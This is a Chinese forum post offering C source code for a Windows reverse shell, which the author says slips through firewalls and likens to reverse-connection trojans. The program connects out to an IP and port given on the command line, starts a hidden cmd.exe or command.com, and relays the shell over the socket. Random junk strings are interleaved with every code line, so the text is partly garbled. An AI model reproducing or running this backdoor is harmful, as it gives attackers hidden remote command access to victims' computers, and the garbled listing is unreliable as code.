社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 6229阅读
  • 0回复

Windows下端口反弹

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 >c'_xa?^G  
4) I/\  
/* ============================== *R~(:z>>  
Rebound port in Windows NT E0?\DvA  
By wind,2006/7 R?e7#HsJ  
===============================*/ SO jDtZ  
#include Q; /!oA_  
#include Zp(P)Obs#  
SJuf`  
#pragma comment(lib,"wsock32.lib") TH}ycue  
oG_'<5Bv>  
void OutputShell(); qYrGe  
SOCKET sClient; o>,z %+  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ]j#$.$q  
:phD?\!w8t  
void main(int argc,char **argv) #dm@%~B{.  
{ I4p= ?Ds  
WSADATA stWsaData; )A+j  
int nRet; l8d%hQVqT  
SOCKADDR_IN stSaiClient,stSaiServer; u~T$F/]k>  
jW0z|jr  
if(argc != 3) jN[6JY1  
{ pnw4QQ9  
printf("Useage:\n\rRebound DestIP DestPort\n"); .A[.?7g  
return; p$G3r0 @  
} "._WdY[  
#CP, \G  
WSAStartup(MAKEWORD(2,2),&stWsaData); S<9d^= a  
MifgRUe  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); A;nmua-Fv  
12DdUPOi  
stSaiClient.sin_family = AF_INET; H+&w7ER  
stSaiClient.sin_port = htons(0); p00Bgo  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); j/ IZm)\  
@I.O T  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) toZI.cSg4  
{ "J:NW_U  
printf("Bind Socket Failed!\n"); ~:b~f]lO  
return; :DpK{$eCb  
} /;$ew~}  
=w?cp}HW  
stSaiServer.sin_family = AF_INET; H)fo4N4ii  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); %4^/.) Q  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); IHmNi>E&/  
hs uJ;4}$q  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) &.4a  
{ XdVC>6  
printf("Connect Error!"); G7JZP T  
return; bu5)~|?{t  
} 6FFv+{ 2^@  
OutputShell(); X0=- {<W  
} <Y6>L};  
7NqV*  
void OutputShell() )pH{b]t  
{ ]g!<5 w  
char szBuff[1024]; 0evZg@JP`  
SECURITY_ATTRIBUTES stSecurityAttributes; t\0JNi$2  
OSVERSIONINFO stOsversionInfo; j zp%.4/j  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; u8=|{)yL  
STARTUPINFO stStartupInfo; I2Q?7p  
char *szShell; Y[,C1,  
PROCESS_INFORMATION stProcessInformation; :9qB{rLi}  
unsigned long lBytesRead; IrM3Uh  
C`K/ai{4  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); h UDEjW@S  
3Mt6iZW  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); t|_g O!w8  
stSecurityAttributes.lpSecurityDescriptor = 0; `Y9@?s Q  
stSecurityAttributes.bInheritHandle = TRUE; Wc[)mYOSuO  
b5C #xxIO  
<C(2(3  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); Hu.d^@V  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); o*VQH`G*|g  
L;<]wKs  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); =*N(8j>y  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; c-{]H8$v  
stStartupInfo.wShowWindow = SW_HIDE; p};<l@  
stStartupInfo.hStdInput = hReadPipe; yR-.OF,c  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; &[xJfL  
$ :/1U$  
GetVersionEx(&stOsversionInfo); &nn":  
DoA f,9|_  
switch(stOsversionInfo.dwPlatformId) lC{m;V2  
{ 6|x<) Gc  
case 1: ygG9ht  
szShell = "command.com"; i[swOY z]X  
break;  `!BUd  
default: bK7DGw`1  
szShell = "cmd.exe"; 3dfSu'  
break; |RdSrVB  
} 5NK:94&JE  
9i@*\Ada  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 1k`!w}  
-\vq-n  
send(sClient,szMsg,77,0); @g{ " E6  
while(1) 1Y_fX  
{ dpS  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); :Li)]qN.I  
if(lBytesRead) N|; cG[W  
{ !&kOqc5:t<  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); -Q/Dbz#-  
send(sClient,szBuff,lBytesRead,0); 5 m:nh<)#  
} pa7fTd  
else Z|.z~53;  
{ ["z$rk  
lBytesRead=recv(sClient,szBuff,1024,0); 94+#6jd e  
if(lBytesRead<=0) break; ck;owGl T  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); QJ QQ-  
} DWDe5$^{  
} wI:oe`?H  
jWQB~XQY  
return; NEvt71k  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
描述
快速回复

您目前还是游客,请 登录注册
温馨提示:欢迎交流讨论,请勿纯表情、纯引用!
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八